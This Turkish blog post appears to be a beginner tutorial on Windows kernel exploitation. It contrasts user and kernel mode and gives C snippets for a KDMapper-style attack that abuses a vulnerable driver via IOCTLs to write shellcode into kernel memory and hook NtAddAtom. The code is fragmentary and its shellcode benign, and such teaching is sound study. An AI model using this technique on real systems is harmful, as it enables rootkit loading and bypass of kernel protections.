Windows Kernel Exploition (Temelden)

Windows Kernel Exploitation

Windows Kernel Exploitation

Temel farklardan başlayalım, ama önce şunu belirtmek isterim: denedikçe yanlış yapacağınız için fazlasıyla crash alabilirsiniz. Bu yüzden VM kurun.

Kernel vs Usermode Exploits

  • User mode crash: Sadece program kapanır, bazı durumlarda seh bile programı kurtarır.
  • Kernel mode crash: Geçmiş olsun, tüm sistem BSOD atar, exploit çalışmaz. Eskiden brute force ile offset denemeleri vardı ama artık hem kernel patlar hem de AV yakalama ihtimali artar. Burada brute force kullanmayacağız.

Yetki farkı

Kernel exploit Ring 0’da her şeye erişim demek. Bir rootkit gibi. Zaten rootkitlerin çoğu kernel exploit. Çoğu kişi user-mode rootkit yazınca kernel-mode rootkit yaptığını sanıyor. Yetki farkını bilmek önemli: process listesi, token yapısı, kernel yapıları, bellek ve security mekanizmalarına erişiminiz olur.

Kernel API farkı

  • User modede kernel32.dll, msvcrt.dll gibi DLL’ler üzerinden API çağırıyorsunuz. Kernel’de buna gerek yok, hata isteseniz bile çağramazsınız.
  • NTOSKRNL.EXE exportları: ZwOpenProcess, ZwQuerySystemInformation, PsLookupProcessByProcessId, MmMapIoSpace

Exploit geliştirirken dikkat!

Stabilite çok önemli. Exploit sonunda valide state bırakmazsan 1000 ileride crash garanti, hem de sıfır faiz fırsatı ile!

Genelde yapacaklarımız

  • Token stealing
  • SMEP/DSE bypass
  • Process injection

User mode ve kernel mode mantığı

  • Crash sonrası etki: user: program kapanır, kernel: bilgisayarın cuma namazını kılarız.
  • API erişimi: user: Win32 API, kernel: NT Kernel API
  • Bellek erişimi: user: process memory, kernel: MY EMPIRE
  • Kullanıcı amacı: shell, kernel: MY *2 EMPIRE
  • Risk: user mode: bir şey olmaz, kernel: dediğim gibi cuma namazı.

Exploit example

1: DeviceControl ve driver iletişimi

HANDLE hDevice = CreateFile("\\\\.\\Nal", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
DeviceIoControl(hDevice, IOCTL_COPY_MEMORY_BUFFER, ©_memory_buffer, sizeof(copy_memory_buffer), NULL, 0, &bytesReturned, NULL);

CreateFileA("\\\\.\\Nal", ...) → Windows’ta bir device driver ile iletişim için kullanılır. \\.\ prefix’i kernel driver’larını temsil eder.

DeviceIoControl() → IOCTL aracılığıyla driver’a veri gönderip işlem yaptırır.

KDMapper

Exploit KD mapper tekniği kullanır, driver üzerinden kernel’da executable memory allocate edilir. Normal programda user-mode’da bu imkansızdır, shellcode kernel memory’e yazılır.

Kernel’de bir syscall fonksiyonu hook edilir (NtAddAtom). User-mode’dan syscall çağrıldığında shellcode execute olur.

HMODULE ntdll = GetModuleHandleA("ntdll.dll");
FARPROC NtAddAtom_user = GetProcAddress(ntdll, "NtAddAtom");
uint64_t kernel_NtAddAtom = GetKernelModuleExport(hIntel, "ntoskrnl.exe", "NtAddAtom");
uint64_t kernel_ExAllocatePool2 = GetKernelModuleExport(hIntel, "ntoskrnl.exe", "ExAllocatePool2");

NtAddAtom → sistem çağrısı, nadiren kullanılan syscall.
ExAllocatePool2 → kernel’de memory allocation için kullanılır.

Kernel memory allocate etmek

typedef struct _KERNEL_CALL {
    uint64_t funcAddress;
    uint64_t arg1;
    uint64_t arg2;
    uint64_t arg3;
    uint64_t arg4;
    uint64_t result; // Kernel fonksiyon sonucu
} KERNEL_CALL, *PKERNEL_CALL;

uint64_t CallKernelFunction(HANDLE hDriver, uint64_t funcAddr, uint64_t arg1, uint64_t arg2, uint64_t arg3) {
    KERNEL_CALL callData;
    callData.funcAddress = funcAddr;
    callData.arg1 = arg1;
    callData.arg2 = arg2;
    callData.arg3 = arg3;

    DWORD bytesReturned;
    DeviceIoControl(hDriver, IOCTL_CALL_KERNEL_FUNCTION, &callData, sizeof(callData), &callData, sizeof(callData), &bytesReturned, NULL);

    return callData.result;
}

IOCTL ile proxy mekanizması kuruluyor, C’de doğrudan kernel fonksiyonu çağrılmaz.

Memory copy to kernel

typedef struct _KERNEL_MEMCOPY {
    uint64_t dest;
    uint64_t src;
    size_t size;
} KERNEL_MEMCOPY, *PKERNEL_MEMCOPY;

void MemCopyToKernel(HANDLE hDriver, uint64_t kernelAddr, void* buffer, size_t size) {
    KERNEL_MEMCOPY copyData;
    copyData.dest = kernelAddr;
    copyData.src = (uint64_t)buffer;
    copyData.size = size;

    DWORD bytesReturned;
    DeviceIoControl(hDriver, IOCTL_MEM_COPY, ©Data, sizeof(copyData), NULL, 0, &bytesReturned, NULL);
}

// Kullanımı
unsigned char kernelShellcode[] = { 0x48, 0x89, 0xc8, 0xc3 }; // mov rax, rcx; ret
MemCopyToKernel(hIntel, executableKernelMemory, kernelShellcode, sizeof(kernelShellcode));

Son adım

typedef uint64_t (__stdcall *NtAddAtomFunc)(void*);
NtAddAtomFunc callableNtAddAtom = (NtAddAtomFunc)NtAddAtom_user;

uint64_t value = callableNtAddAtom((void*)0xDEADC0DE);
printf("Shellcode returned: 0x%llx\n", value);

DeviceIoControl(hIntel, IOCTL_WRITE_READONLY, original, sizeof(hook), (void*)kernel_NtAddAtom, sizeof(hook), &bytesReturned, NULL);

Böylelikle kernel’a shellcode yazılmış olur.

Post a Comment

Daha yeni Daha eski